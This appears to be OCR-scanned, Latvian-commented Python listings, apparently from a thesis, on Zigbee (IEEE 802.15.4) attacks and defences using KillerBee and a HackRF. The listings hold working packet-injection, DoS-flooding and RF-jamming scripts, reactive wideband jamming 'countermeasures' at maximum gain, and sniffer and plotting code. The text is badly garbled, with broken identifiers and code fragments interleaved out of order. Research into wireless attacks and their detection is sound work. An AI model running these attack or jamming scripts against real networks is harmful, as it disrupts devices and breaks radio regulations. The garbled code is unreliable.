fading = nakagami_fading (m=m,
omega=omega, size=1)[0]

return base_rssi + 10 *
np.logl0 (fading)

def calculate_capacity(rssi):
"""Caurlaidspéjas aprékins."""

snr_db = rssi - NOISE FLOOR
if snr_db < 0:
return 0

P_success = max (0.1, min(1.0, snr db /
MAX_SNR))

Duty Cycle = max (0.1, min(0.8,
/ MAX_SNR) )

capacity = C_THEORETICAL * (1 -
OVERHEAD) * P_success * Duty Cycle

return capacity

snr_db

def detect jamming(last_dos_time,
current_time) :

timestamps.append (current_time)
original rssi.append(rssi)
mod_rssi =

apply nakagami_rssi(rssi, M, OMEGA)
modified rssi.append(mod_rssi)

capacity =
calculate_capacity(rssi)

modified cap =
calculate_capacity(mod_rssi)

real capacity.append(capacity)
modified capacity.append(modified cap)

# DoS uzbrukumu apstrade
if payload[:2] in
HEADERS_TO_DETECT:
dos_flags.append (1)
logging.info (£"DoS
RSSI={rssi} dBm")
last_dos_time =

uzbrukums:

current_time
else:
dos_flags.append(0)

# Parbaude uz troksni
detect_jamming (last_dos_time,
current_time)

except Exception as e:
logging.error (f"KlGda paketes
apstradé: {e}")
kb.close ()

save_to_csv("dos_analysis_data_with flags.csv")
logging.info ("Monitorings pabeigts.")
plot_results()

def plot results():
"""Grafiku izveide un saglabasana."""
if not timestamps:
logging.warning ("Nav datu grafika
izveidei.")

return
times_seconds = [(ts -
timestamps[0]) .total seconds() for ts in

timestamps]

# Vidéjas vértibas

mean_original rssi = np.mean(original_ rssi)
if original rssi else 0

mean _modified rssi = np.mean(modified rssi)
if modified rssi else 0

mean_real capacity = np.mean(real_capacity)
if real capacity else 0

mean_modified capacity =
np.mean (modified capacity) if modified capacity
else 0

# RSSI grafiks
plt.figure(figsize=(12, 6))
plt.plot (times_seconds, original rssi,
label="Originalais RSSI", color="blue")
plt.plot (times_seconds, modified rssi,
label="Modificétais RSSI", color="orange")
plt.scatter(
[times_seconds[i] for i, flag in
enumerate (dos_flags) if flag == 1],
[original rssi[i] for i, flag in
enumerate (dos_flags) if flag == 1],
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"""pirbauda, vai noticis troksnis.™""
global jamming_intervals
if last_dos_time and (current_time -
last_dos_time) .total_seconds() >
NO_DOS_TIMEOUT:
start_time = last_dos_time +
timedelta (seconds=NO_DOS_TIMEOUT)
end_time = current_time

jamming intervals.append((start_time,
end_time))

logging.warning (f"Noteikts
troksnis: {start_time} - {end_time}")

def save_to_csv(filename) :
"""Datu saglabasana CSV faila."""
with open(filename, "w", newline="")
as csvfile:
writer = csv.writer (csvfile)
writer.writerow (["Timestamp",
"Originalais RSSI", "Modificétais RSSI",
"Reala caurlaidspéja", "Modificéta
caurlaidspé&ja", "DoS Markieris"])
for i in range(len(timestamps)) :
writer.writerow ([

timestamps[i].strftime ("$Y-%m-%d
$H:%M:%3"),
original_rssi[i],
modified rssif[i],
real capacityl[i],
modified capacityl[il,
dos_flags[i]

logging.info (f"Dati saglabati faila:
{filename}")
def sniff_and_analyze (device, channel,
duration):
"""Snifferis un datu analize."""
try:
kb = KillerBee (device=device)
kb.set_channel (channel)
logging.info (f"Sakts monitorings
uz kanala {channel} ar ierici {device}.")
except Exception as e:
logging.error (f"KlGda ierices
inicializacija: {e}")
return

start_time = time.time ()
last_dos_time = None

while time.time() - start time <
duration:
try:
packet = kb.pnext ()
current_time = datetime.now ()
if packet:
payload =
packet.get ("bytes", b"")
rssi = packet.get ("rssi",
None)
if rssi is None or rssi >
0: # Izslédzam pozitivas RSSI vértibas
continue

label="DoS uzbrukums",
color="red",
marker='x"',
s=50

)

# TrokSna apgabals ar vienreizéju markieri
if jamming_intervals:

jamming_logged = False

for start, end in jamming_ intervals:

start_sec = (start -
timestamps([0]) .total_seconds ()
end sec = (end -

timestamps([0]) .total_seconds ()
if not jamming_logged:
plt.axvspan(start_sec, end_sec,
color="purple", alpha=0.3, label="Pretpasakuma
ierice")
jamming logged = True
else:
plt.axvspan(start_sec, end_sec,
color="purple", alpha=0.3)

plt.axhline (y=mean_original_ rssi,
color="green", linestyle="--", label=f"Vidéjais
originadlais RSSI: {mean original rssi:.2f}
dBm")

plt.axhline (y=mean _modified rssi,
color="cyan", linestyle="--", label=f"Vidéjais
modificétais RSSI: {mean_modified rssi:.2f}
dBm")

plt.xlabel ("Laiks (sekundes)")

plt.ylabel ("RSSI (dBm)")

plt.title ("RSSI analize un DoS uzbrukumi")

plt.legend(loc="upper right")

plt.grid()

plt.tight_layout ()

plt.savefig("rssi_analysis.png")

plt.close()

# Caurlaidspéjas grafiks

plt.figure(figsize=(12, 6))

plt.plot (times_seconds, real_capacity,
label="Reala caurlaidspéja", color="blue")

plt.plot (times_seconds, modified capacity,
label="Modificéta caurlaidspéja",
color="orange")

plt.axhline (y=mean_real capacity,
color="green", linestyle="--", label=f"Vidéja
redla caurlaidspéja: {mean_real_ capacity:.2f}
kbit/s")

plt.axhline (y=mean_modified capacity,
color="cyan", linestyle="--", label=f"vVidéja
modificéta caurlaidspéja:
{mean modified capacity:.2f} kbit/s")

plt.xlabel ("Laiks (sekundes)")

plt.ylabel ("Caurlaidspéja (kbit/s)")

plt.title("Caurlaidspéjas analize")

plt.legend(loc="upper right")

plt.grid()

plt.tight_layout ()

plt.savefig("capacity analysis.png")

plt.close()

if name_ == "_main_ ":

sniff_and_angfyze(device:IERTCE,
channel=KANALS, duration=ILGUMS)
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IEEE 802.15.4 tikla injekcijas uzbrukumu veida palaiSanas programma

import logging

import random

import time

from killerbee import KillerBee

logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - % (message)s")

INTERFACE = "1:3" # RZUSBStick saskarne
CHANNEL = 15 # Zigbee kanals
DURATION = 30 # Darbibas laiks sekundés

PAYLOAD SIZE = 50 # Paketes lielums (baitos)

DELAY_BETWEEN_PACKETS = 0.5 # Aizture starp pakeSu nos@tiSanu

HEADER = b"\xAA\xBB" # Paketes identifikacijas galvene

FAILURE_THRESHOLD = 5 # Maksimadlais nosttiSanas klGdu skaits pirms apstasanas

def create_payload(size):
return bytes([random.randint (0, 255) for _ in range(size)])

def create_packet (payload, rssi=-90):

Izveido paketi ar noradito lietderigo slodzi un pievieno RSSI galveni, lai simulétu vaju
signalu.

nnn

rssi_header = (int(rssi) & OxFF).to bytes(l, 'big")

return HEADER + rssi_header + payload

# Galvenais injekcijas cikls
def send_packets(target_rssi=-90):
try:
kb = KillerBee (device=INTERFACE)
kb.set channel (CHANNEL)
logging.info (f"Ierice {INTERFACE} sekmigi inicializéta. Kanals: {CHANNEL}")

start_time = time.time()
failure count = 0

while time.time() - start time < DURATION:
payload = create payload(PAYLOAD SIZE)
packet = create_packet (payload, rssi=target rssi)
try:

kb.inject (packet, channel=CHANNEL)
logging.info (f"Pakete ir veiksmigi nos@tita. Galvene: {HEADER.hex ()}, "
f"RSSI: {target_rssi} mBm, Payload: {payload.hex()}")
failure count = 0 # Kladu skaititadja atiestatiSana péc veiksmigas nosttiSanas
except Exception as e:
failure_count += 1
logging.error (f"Paketes s@itisanas kltada: {e}")

if failure_count >= FAILURE_THRESHOLD:
logging.warning ("Ir parsniegts nos@itiSanas klf@du skaits. Injekcija
apturéta.")
break

time.sleep (DELAY BETWEEN_ PACKETS)

except Exception as e:
logging.error (f"Injektora kluda: {e}")
finally:
kb.close ()
logging.info("Injekcija tiek pabeigta.")
if name_ == "_main_":
target_rssi = -90
send_packets (target_rssi=target_rssi)
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IEEE 802.15.4 tikla DoS uzbrukumu veida palai$anas programma

import logging

import random

import time

from killerbee import KillerBee

logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - % (message)s")

INTERFACE = "1:3"

CHANNEL = 15

DURATION = 120

PACKET SIZE = 50

DELAY BETWEEN_ PACKETS = 0.1
LOW_RSSI_HEADER = b'\x01\x01'

def generate_ low_rssi_payload(size):
header = LOW_RSSI_HEADER
payload size = size - len(header)
payload = bytes ([random.randint (0, 255) for _ in range(payload size)])
packet = header + payload
logging.debug (f"Pakete tiek generéta: {packet.hex()}")
return packet

def perform dos_attack(interface, channel, duration, packet_ size, delay):
try:
kb = KillerBee (device=interface)
kb.set_channel (channel)

start_time = time.time()
packets_sent = 0

while time.time() - start_time < duration:
payload = generate_low_rssi_payload(packet_size)
kb.inject (payload, channel=channel)
packets_sent += 1
logging.info (f"Pakete tiek nosutita #{packetsisent): {payload.hex () }")
time.sleep (delay)

kb.close ()
logging.info (f"DoS uzbrukums tiek pabeigts. NosGtitas paketes: {packets_sent}")

except Exception as e:
logging.error (f"Kluda: {e}")

if name == " main ":

performﬁdosigztack(INTERFACE, CHANNEL, DURATION, PACKET SIZE, DELAY BETWEEN_ PACKETS)
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IEEE 802.15.4 tikla traucéjumu uzbrukumu veida palai$anas programma

import logging

import random

import time

from killerbee import KillerBee

logging.basicConfig(level=logging.INFO, format="% (asctime)s - %(levelname)s - % (message)s")

INTERFACE = "1:3" # RZUSBStick saskarne

CHANNEL = 15 # Zigbee kanals

DURATION = 120 # Darbibas laiks sekundés

PACKET SIZE = 50 # Paketes lielums (baitos)

DELAY BETWEEN_PACKETS = 0.02 # Aizture starp pake3u nosGtiSanu

JAM_HEADER = b"\xFF\xFF\xFF\xFF\xFF" # Trok3nas paketes identifikdcijas galvene

def generate_jamming packet (header, size):
payload size = size - len(header)
payload = bytes([random.randint (0, 255) for _ in range(payload size)])
packet = header + payload
logging.debug (f"Izveidota traucéjumu pakete: {packet.hex()}")
return packet

def perform jamming (interface, channel, duration, packet_size, delay, header):
try:
kb = KillerBee (device=interface)
kb.set_channel (channel)

start_time = time.time()
packets_sent = 0

while time.time() - start time < duration:
try:
packet = generate jamming_ packet (header, packet size)
kb.inject (packet, channel=channel)
packets_sent += 1
logging.debug (f"Tika nosttita traucéjumu pakete #{packets_sent}:

{packet.hex()}")
except Exception as e:
logging.error (f"Kluda, sttot paketi: {e}")
time.sleep (delay)
kb.close()
except Exception as e:
logging.error (f"Kluda {interface}: {e}")
if name == "_ main_":

perform jamming (INTERFACE, CHANNEL, DURATION, PACKET SIZE, DELAY BETWEEN PACKETS,
JAM_ HEADER)
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IEEE 802.15.4 tikla pakeSu injekcijas pretpasakuma palai§ana programma

import logging

import numpy as np

from SoapySDR import Device, SOAPY_ SDR_TX
from killerbee import KillerBee

import time

import threading

logging.basicConfig(level=logging.INFO,
format="% (asctime)s - % (levelname)s -
% (message)s")

CENTER_FREQ = 2.425e9
frekvences josla
SAMPLE_RATE = 2e6

# Zigbee 15. kanals

# Signala neséja bieZums
AMPLITUDE = 1.0 # Troksnpu intensitate
TX_DURATION = 3.0 # Viena adaptiva
traucéjuma darbibas cikla ilgums

GAIN = 47 4 Maksimalais signala
pastiprinajums

ZIGBEE_CHANNEL = 15

MIN PACKET LENGTH = 40
MAX PACKET LENGTH = 60
HEADERS_TO DETECT = [b"\xAA\xBB"]

stop_event = threading.Event ()
jam_event = threading.Event (
detected_packets = 0

jammed packets = 0
potentially jammed packets = 0

# Platjoslas trok3na generéSana
def generate wideband noise (sample_count,
intensity):

noise = (np.random.uniform(-intensity,
intensity, sample_ count) +

13 * np.random.uniform (-

intensity, intensity,
sample_count)) .astype (np.complex64)

return noise

# Adaptiva pretpasakumas funkcija
def adaptive_jamming(sdr, freq, duration,
intensity):
global potentially jammed packets
try:
sdr.setSampleRate (SOAPY_SDR_TX, O,
SAMPLE_RATE)
sdr.setFrequency (SOAPY_SDR_TX, O,
freq)
sdr.setGain (SOAPY_SDR_TX, 0, GAIN)
tx_stream =
sdr.setupStream (SOAPY_SDR_TX, "CF32")
sdr.activateStream(tx_stream)

start_time = time.time()

while time.time() - start_time <
duration and not stop_event.is_set():
noise =

generate wideband noise (int (SAMPLE_ RATE),
intensity)
sdr.writeStream(tx_stream,
[noise], len(noise))
potentially jammed packets += 1
time.sleep(0.1)

sdr.deactivateStream(tx_stream)
sdr.closeStream(tx_stream)
logging.info ("HackRF: Traucé&Sana
tiek pabeigta.")
except Exception as e:
logging.error (f"Kluda: {e}")

def sniff with_cc2531():
global detected packets, jam_event
try:
kb = KillerBee (device="1:2")
kb.set_channel (ZIGBEE_CHANNEL)
logging.info (£"CC2531 sniffer
darbojas kandla {ZIGBEE_CHANNEL}.")

while not stop_event.is_set():
packet = kb.pnext ()
if packet:
payload =
packet.get ("bytes", b"")
header = payload[:2]
packet_length = len(payload)

logging.info (£"CC2531:
Paketes garums: {packet_ length} baiti,
Galvene: {header.hex()}")

if header in
HEADERS_TO_DETECT and MIN_PACKET LENGTH <=
packet_ length <= MAX PACKET_ LENGTH:
detected_packets += 1

logging.warning (£"CC2531: Atklata pakete ar
garumu {packet length} baiti")
jam_event.set ()
except Exception as e:
logging.error (£"CC2531 darbibas
klaoda: {e}")
finally:
kb.close()
logging.info ("CC2531 uzrauga tika
apturéta.")

# Galvena kontroles plisma
def main (runtime) :
global jammed_packets,
potentially jammed_packets
try:
sniff_ thread =
threading.Thread (target=sniff with cc2531)
sniff_ thread.start()

# HackRF inicializéSana

sdr = Device (dict (driver="hackrf"))

logging.info (f"HackRF veiksmigi
inicializéts.")

start_time = time.time ()
while time.time() - start_time <
runtime:
if stop_event.is_set():
break
if jam event.is_set():
logging.info ("HackRF:
darbojas adaptiva traucésSana...")
adaptive_ jamming (sdr,
CENTER_FREQ, TX DURATION, AMPLITUDE)
jammed_packets += 1
jam_event.clear()
time.sleep(0.1)

stop_event.set ()
sniff thread.join()

if _ name_ " main_ ":
runtime 120
main (runtime)
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IEEE 802.15.4 tikla DoS uzbrukumu pretpasakuma palaiSanas programma

import logging

import numpy as np

from SoapySDR import Device, SOAPY SDR_TX
from killerbee import KillerBee

import threading

import time

from datetime import datetime

logging.basicConfig(level=logging.INFO,
format="% (asctime)s - % (levelname)s -
% (message)s")

# HackRF iestatijumi

ZIGBEE_CHANNEL_FREQ = 2425e6 # Zigbee 15.
kanals frekvences josla

SAMPLE_RATE = 2e6 # Signdla nesé&ja biezums
GAIN = 47 4 Maksimdlais signala
pastiprinajums

JAMMING DURATION = 10 # Viena adaptiva
traucéjuma darbibas cikla ilgums

# CC2531 iestatijumi

ZIGBEE_CHANNEL = 15

HEADERS_TO DETECT = [b'\x01\x01"] # DoS
galvene

DETECTION_INTERVAL = 0.05 # PakeSu
parbaudes intervals (sekundés)

stop_event = threading.Event ()
jam_event = threading.Event (
packets_detected = 0

packets_ jammed = 0
packets_in_jamming = 0

def open_hackrf () :
try:
sdr = Device (dict (driver="hackrf"))
sdr.setSampleRate (SOAPY SDR TX, O,
SAMPLE_RATE) -
sdr.setFrequency (SOAPY SDR TX, O,
ZIGBEE CHANNEL FREQ) -
sdr.setGain (SOAPY SDR TX, 0, GAIN)
logging.info("HacIRF ;eiksmigi tiek
inicializéts.™)
return sdr
except Exception as e:
logging.error (f"HackRF
inicializacijas kltada {e}")
return None

def jam_channel (sdr) :

nun

Adaptiva traucéSana noteiktaja frekvenci.
global packets_in_jamming
try:
stream =
sdr.setupStream (SOAPY_SDR_TX, "CF32")
sdr.activateStream (stream)

logging.info ("HackRF: uzsakta
traucésana....")

start _time = time.time ()
while time.time() - start_time <
JAMMING DURATION:
noise = (np.random.uniform(-1,
1, int(SAMPLE RATE)) +
_ 15
np.random.uniform(-1, 1,
int (SAMPLE_RATE))) .astype (np.complex64)
sr = sdr.writeStream(stream,

[noise], len(noise))
if sr.ret < 0O:

def sniff with cc2531():

nun

Paketes uzraudziba, izmantojot CC2531.
wan
global packets_detected, packets_jammed,
packets_in_ jamming
try:
kb = KillerBee (device="1:2")
kb.set_channel (ZIGBEE_CHANNEL)
logging.info (£"CC2531 sniffer
darbojas kandla {ZIGBEE_CHANNEL}.")

while not stop_event.is_set():
packet = kb.pnext ()
if packet:
payload =
packet.get ("bytes", b"")
header =
payload[:len (HEADERS_TO DETECT[0]) ]
timestamp = datetime.now ()

if header in
HEADERS_TO_ DETECT:
packets_detected += 1
if jam_event.is_set():
packets_in_Jjamming
+= 1

logging.info (f"CC2531: Paketes garums:
{packet_length}, Galvene: {header.hex()}")
else:

logging.info (f"Atklats DoS uzbrukuma pakete:
Galvene={header.hex ()}, Laiks={timestamp}")
jam_event.set ()
else:
logging.debug (f"Pakete
bez pazimem: Header={header.hex()},
Time={timestamp}")
time.Sleep(DETECTIONilNTERVAL)
except Exception as e:
logging.error (£"CC2531 Kluda: {e}")
finally:
kb.close ()
logging.info ("Apturéts.")

def main (runtime) :

o

Atklasanas un traucéSanas pamatprocess.
nuw
global packets_detected, packets_jammed,
packets_in_Jjamming
sdr = open_hackrf ()
if not sdr:
logging.error ("Kluda.")
return

sniff thread =
threading.Thread (target=sniff with cc2531)
sniff thread.start()
start_time = time.time()
try:
while time.time() - start_time <
runtime:
if jam event.is_set():
packets_jammed += 1
jam_channel (sdr)
jam_event.clear()
time.sleep(0.1)
except KeyboardInterrupt:
logging.info ("Programmas beigas...")
finally:
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logging.error ("KlGda troksna
parraidé.")
time.sleep(0.05)

sdr.deactivateStream (stream)

sdr.closeStream(stream)

logging.info ("HackRF: Darbiba tika
pabeigta.™)

except Exception as e:
logging.error (f"Kluda: {e}")

stop_event.set ()
sniff thread.join()
if sdr:

del sdr

if _name_ == "_main_ ":
runtime = 120
main (runtime)
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IEEE 802.15.4 tikla traucéSanas uzbrukumu pretpasakuma palaiSanas programma

import threading

import logging

import time

import random

import numpy as np

from killerbee import KillerBee

from SoapySDR import Device, SOAPY_ SDR_TX

logging.basicConfig(level=logging.INFO,
format="% (asctime)s - % (levelname)s -
% (message) s")

# Parametri

ZIGBEE_CHANNEL = 15
CC253171NTERFACE = "l:2"
ZIGBEE CHANNEL FREQ = 2425e6
frekvence Zigbge tikla
SAMPLE_RATE = 2e6 # Diskretizacijas
frekvence

GAIN = 47 4 Maksimalais pastiprinajums
JAM_HEADER = b"\XFF\xFF\xFF\xFF\xFF" #
TroksSna pakesSu galvene
JAMMING_DURATION = 10
sekundes
AMPLITUDE = 1.0
amplitada

FREQ VARIATION = 2e5 # Frekvences
variacijas robeza (200 kHz)

RUNTIME = 120 # Kopé&jais programmas
darbibas ilgums sekundés

# 15. kanala

# Troksnpa ilgums

# Maksimala troksna

stop_signal = threading.Event ()
jamming count = 0
traucétas troksnoSanas laika
detected_packets = 0 # Skaits, cik pakesu
tika uztvertas

def open_hackrf () :
try:
sdr = Device (dict (driver="hackrf"))
logging.info ("HackRF veiksmigi tiek
inicializéts")
return sdr
except Exception as e:
logging.error (£"Klida HackRF
inicializacija: {e}")
return None

def jam_zigbee_channel (sdr, freqg, duration):

global jamming_count
try:
sdr.setSampleRate (SOAPY_SDR_TX, O,
SAMPLE RATE)
sdr.setFrequency (SOAPY SDR _TX, O,
freq)
sdr.setGain (SOAPY_SDR_TX, 0, GAIN)

stream =
sdr.setupStream (SOAPY_SDR_TX, "CF32")
sdr.activateStream (stream)

logging.info (f"TroksnoSana sakta
frekvencé {freq / le6} MHz.")
start_time = time.time ()

while time.time() - start time <

duration and not stop_signal.is_set():

varied freqg = freq +
random.uniform (-FREQ_ VARIATION,
FREQ VARIATION)

sdr.setFrequency (SOAPY_ SDR_TX,
0, varied freq)

noise = (np.random.uniform(-

# Skaits, cik pakeSu tika

noise = (np.random.uniform(-
AMPLITUDE, AMPLITUDE, int (SAMPLE_RATE)) +
13 *
np.random.uniform(-AMPLITUDE, AMPLITUDE,
int (SAMPLE_RATE))) .astype (np.complex64)
sr = sdr.writeStream(stream,

[noise], len(noise))
if sr.ret >= 0:
jamming_count += 1

sdr.deactivateStream(stream)
sdr.closeStream(stream)
logging.info ("TroksnoSana
pabeigta..")
except Exception as e:
logging.error (f"KlGda troksnosSanas
procesa: {e}")

def sniff cc2531():
global detected packets
try:
kb =
KillerBee (device=CC2531_ INTERFACE)
kb.set_channel (ZIGBEE_CHANNEL)
logging.info (f"Snifferis CC2531
sakts uz kanala {ZIGBEE_KANALS}.")

while not stop_signal.is_set():
packet = kb.pnext ()
if packet:
detected_packets += 1
header = packet.get ("bytes",
b"") [:len (JAM_ HEADER)
logging.info (f"Snifferis:
Paketes galvene: {header.hex()}")

if
header.startswith (JAM HEADER) :

logging.warning ("Noteikta troksSna pakete!
Aktivizéjam troksnoSanu.")
sdr = open_hackrf ()
if sdr:

jam zigbee channel (sdr, ZIGBEE CHANNEL FREQ,
JAMMING DURATION) - -
except Exception as e:
logging.error (f"Kluda sniffera
darbiba: {e}")
finally:
logging.info ("Snifferis CC2531 tiek
apturéts.")

def main (runtime) :
start time = time.time ()
sniff:thread =
threading.Thread(target=sniff cc2531)
sniff thread.start()

while time.time() - start_time <
runtime:
time.sleep (1)

stop_signal.set ()

sniff thread.join()

logging.info (f"Atklato pakesu skaits:
{atklato_pakesu_skaits}")

logging.info (£f"TroksSnoto pakeSu skaits:
{troksnoto_pakeSu_skaits}")
if _name_ == "_main_":
main (RUNTIME)
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IEEE 802.15.4 tikla pakeSu injekcijas uzbrukuma un pretpasakuma ierices simulacijas
palaisanas programma

import random

import time

import numpy as np

import matplotlib.pyplot as plt
from scipy.stats import nakagami
from queue import Queue, Empty
import csv

# Konstantes

TROKSNIS = -95 # Troksnis (dBm)

MAKS_SNR = -40 # Maksimalais SNR, pie kura
sasniedzama augsta pandkumu varbitiba

C_TEORETISKA = 250 # Maksimala teorétiska
caurlaidspéja (kbps)
OVERHEAD = 0.4 # Papildu izmaksu dala

def calculate capacity(rssi):

nun

Aprékina caurlaidspéju (kbps) péc RSST
vértibas.

wan

snr_db = rssi - TROKSNIS

if snr_db < 0:

return 0

P_success = max (0.1, min (1.0, snr_db /
MAKS_SNR))

Duty Cycle = max (0.1, min (0.8, snr_db /
MAKS_SNR))

capacity = C_TEORETISKA * (1 - OVERHEAD) *

P_success * Duty Cycle
return capacity

def apply_ fading(rssi, m=0.8,

nun

omega=0.3) :

Pieméro Nakagami izbalindSanu RSSI vértibai.
fading factor = nakagami.rvs(m, scale=omega)
return rssi + 10 * np.loglO(fading_ factor)

class PacketInjector:
"""Klase pakotnu
(injektors)."""
def _ init (self, packet_ gqueue):
self.packet_queue = packet_ queue

injekcijai ar =zemu RSSI

def inject_packet (self)
rssi = random.uniform(-90, -85)
modified rssi = apply fading(rssi)
packet = {
"source": "Injector",
"destination": "Broadcast",
"rssi": rssi,
"modified_rssi": modified_rssi,
}
self.packet queue.put (packet)
print (f"Ievietota pakete (Injector) ar RSSI
{rssi:.2f} (modificéts: {modified rssi:.2f})")

class NetworkDevice:
"""Klase haotiski stradajosam iericém."""
def _ init_ (self, device_id, packet_gqueue):
self.device_id = device_id
self.packet_queue = packet_queue

send_packet (self) :
rssi = random.uniform(-50, -30)
modified rssi = apply fading(rssi)
packet = {
"source": self.device_id,
"destination": "Broadcast",
"rssi": rssi,

"modified rssi": modified rssi,
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# Redla caurlaidspéja
originala RSSI

capacities_real =
[calculate_capacity (x) for X in
rssi_values]

filt t real, filt cap_real =
filter_ injected_packets (timestamps,
capacities_real, sources,
jamming_ timestamps)

s filt cap_mod =
filter injected packets (timestamps,
capacities_mod, sources,
jamming_ timestamps)

avg_cap_mod_all =
np.mean (capacities_mod)

avg_cap_mod_filt =
np.mean (filt_cap_mod) if filt cap mod
else float('nan')

avg_cap_real_all =
np.mean (capacities_real)

avg_cap_real filt =
np.mean (filt_cap_real) if filt cap_real
else float('nan')

aprékinata no

plt.figure(figsize=(10, 6))

plt.plot (timestamps,
capacities_mod, m.-"',
label='Modificéta caurlaidspéja (visi
paketes) ')

plt.axhline(avg_cap _mod_all,
color='magenta', linestyle='dotted',
label=f"vVidéja modificéta caurlaidspéja
({avg_cap_mod_all:.2f})")

plt.axhline(avg_cap_mod_ filt,
color='black"', linestyle="dashdot',
label=f"Atjaunota modificéta
caurlaidspéja
({avg_cap mod_filt:.2f})")

plt.plot (timestamps,
capacities_real, 'c.-', label="'Reala
caurlaidspéja (visi paketes)')

plt.axhline(avg_cap_real all,
color='cyan', linestyle='dotted',
label=f"vVidéja reala caurlaidspéja
({avg_cap_real all:.2f})")

plt.axhline(avg_cap_real filt,
color='orange', linestyle="dashdot',
label=f"Atjaunota reald caurlaidspéja
({avg_cap_real filt:.2f})")

for jt in jamming timestamps:

plt.axvline(jt, color='red',

linestyle='--")
plt.title("Caurlaidspéja laika
gaita")
plt.xlabel ("Laiks (s)")
plt.ylabel ("Caurlaidspé&ja (kbps)")

plt.legend()
plt.grid(True)
plt.tight_layout ()

plt.savefig (f"{output_prefix} capacity
-png")
plt.close()

def save_data_to_csv(timestamps,
rssi_values, modified rssi_values,
capacities, sources, output_filename):

nun

Saglaba datus CSV faila nakotnes

trendline analizei.



}

self.packet_queue.put (packet)

print (f"{self.device_id} nostitija paketi ar
RSSI {rssi:.2f} (modificéts: {modified rssi:.2f})")
class InjectionHandler:

Klase injekciju atklaSanai un novérsSanai.

Saglaba originalas un modificétas RSST
vértibas, ka arl aprékindto caurlaidspéju.
Registré ari gaismoSanas (jamming) notikumus,

kad injektora paketes tiek nonemtas.
wan
def _ init_ (self, jamming efficiency=0.9):
self.total injected = 0

self.removed_injected 0

self.rssi_values = [] # Originalie
RSSI

self.modified rssi_values = [] #
Modificétie RSSI

self.capacities = [] #
Caurlaidspéja (aprékinata no modificéta RSSI)

self.sources = [] # Katras
paketes avots

self.jamming_ timestamps = [] # Laiki,

kad tika veikta gaismoSana

self.jamming efficiency =
jamming efficiency

def handle packet (self, packet, current time):

rssi = packet.get ("rssi", 0)

modified rssi = packet.get ("modified rssi",
rssi)

self.rssi_values.append(rssi)

self.modified rssi values.append(modified rssi)

self.capacities.append(calculate capacity (modified
_rssi))
self.sources.append (packet.get ("source"
"unknown") )
if packet.get ("source") == "Injector":
self.total injected += 1
if random. random () <
self.jamming_efficiency:
self.removed_injected += 1

self.jamming_timestamps.append(current_time)
print (f"Nonemta injicétda pakete ar
RSSI {rssi:.2f} (modificéts: {modified rssi:.2f})")
def get_results(self):
percentage_removed = (self.removed_ injected
/ self.total_injected * 100
if
self.total injected > 0 else 0)
return {
"total injected": self.total injected,
"removed_injected":
self.removed_injected,
"percentage_ removed":
percentage_removed

}

def filter injected packets(timestamps,
sources, jamming timestamps,
inj_source="Injector"):

nun

values,
tolerance=0.001,

Filtré datus: ja paketes avots ir "Injector" un

tas laiks sakrit ar kadu no gaismoSanas notikumiem
(ar nelielu toleranci),
tad Sadas vértibas tiek iznemtas.
filt t = []
filt v = []
for t, v, src in zip(timestamps, values,
sources) :
remove = False
if src == inj_source:

for jt in jamming timestamps:
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Kolonnas: Laiks (s),
RSSI, Modificétais RSSI,
(kbps), Avots.

wun

with open (output_filename,
mode='w', newline='"') as csvfile:

writer = csv.writer (csvfile)

writer.writerow (["Laiks (s)",
"Originadlais RSSI", "Modificétais
RSSI", "Caurlaidspéja (kbps) ",
"Avots"])

for t, r,
zip (timestamps,
modified rssi_values,
sources) :

Originalais
Caurlaidspéja

mr, cap, src in
rssi_values,
capacities,

writer.writerow([t, r, mr,

cap, src]l)

def main_injector (duration,

jamming efficiency=0.85):

nun

Galvena injekciju un apstrades
cilpa.

Simulacija darbojas noraditaja
laika perioda (pieméram, 10 s).

nun

packet_queue = Queue ()

handler =
InjectionHandler (jamming efficiency)

injector =
PacketInjector (packet_queue)

devices =
[NetworkDevice (f"Ierice{i}",
packet queue) for i in range(30)]

timestamps = []
start_time = time.time()

print ("Sakas injekcija un
apstrade...")

while time.time() - start_time <
duration:

injector.inject_packet ()
for device in devices:
device.send packet ()
time.sleep(0.1)
try:
packet =
packet queue.get nowait ()
current_time =
- start_time

time.time ()
handler.handle packet (packet,
current_time)

timestamps.append (current_time)
except Empty:

pass
print ("Injekcija un apstrade
pabeigta.")
results = handler.get_results()

print (£"Kopa injicétas
{results['total_injected']}")

print (f"Nonemtas injicétas paketes:
{results['removed_injected']}")

print (f"Nonemtas paketes
procentualais ipatsvars:
{results|['percentage_removed']:.2f}%")

paketes:

plot_results(timestamps,
handler.rssi_values,
handler.modified_rssi_values,
handler.capacities,
handler.sources,
handler.jamming timestamps,
"injection_results")



if abs(t - jt) < tolerance:
remove = True
break
if not remove:
filt_t.append(t)
filt_v.append(v)
return filt_ t, filt v

def plot_results(timestamps, rssi_values,
modified rssi_values, capacities_mod, sources,
jamming timestamps, output_prefix):

nun

if not timestamps:
print ("Nav datu, lai zimétu grafikus.")
return
# RSSI grafiks
plt.figure(figsize=(10, 6))
plt.plot (timestamps, rssi_values, 'b.-"',
label='Originalais RSSI (visi paketes)')
plt.plot (timestamps, modified_rssi_values, 'g.-
', label='Modificétais RSSI (visi paketes)')
avg_ori = np.mean(rssi_values)
avg_mod = np.mean(modified rssi_values)
plt.axhline(avg_ori, color="'blue',
linestyle="dotted', label=f"Vidéjais originalais
RSSI ({avg_ori:.2f})")
plt.axhline (avg_mod, color="green',
linestyle='dotted', label=f"Vidéjais modificétais
RSSI ({avg_mod:.2f})")

filt_t_ori, filt_rssi =
filter injected packets(timestamps, rssi_values,
sources, jamming timestamps)

filt_t_mod, filt_mod =

filter injected packets(timestamps,

modified rssi_values, sources, jamming timestamps)
avg_ori_filt = np.mean(filt_rssi) if filt rssi

else float('nan')

avg_mod_filt = np.mean(filt_mod) 1if filt_mod
else float('nan')

plt.axhline(avg_ori_filt, color='blue',
linestyle="dashdot', label=f"Atjaunotais
originalais RSSI ({avg_ori_filt:.2f})")

plt.axhline(avg_mod filt, color='green',
linestyle='dashdot"', label=f"Atjaunotais

modificétais RSSI ({avg_mod_filt:.2f})")
added_label = False
for jt in jamming timestamps:
if not added label:

plt.axvline (jt, color="red"',
linestyle='--"', label="Pretpasakuma darbiba")
added_label True
else:
plt.axvline (jt, color="red"',

linestyle="'--")
plt.title("RSSI laika gaita")
plt.xlabel ("Laiks (s)")
plt.ylabel ("RSSI (dBm)")
plt.legend()
plt.grid(True)
plt.tight layout ()
plt.savefig (f"{output_prefix}_ rssi.png")
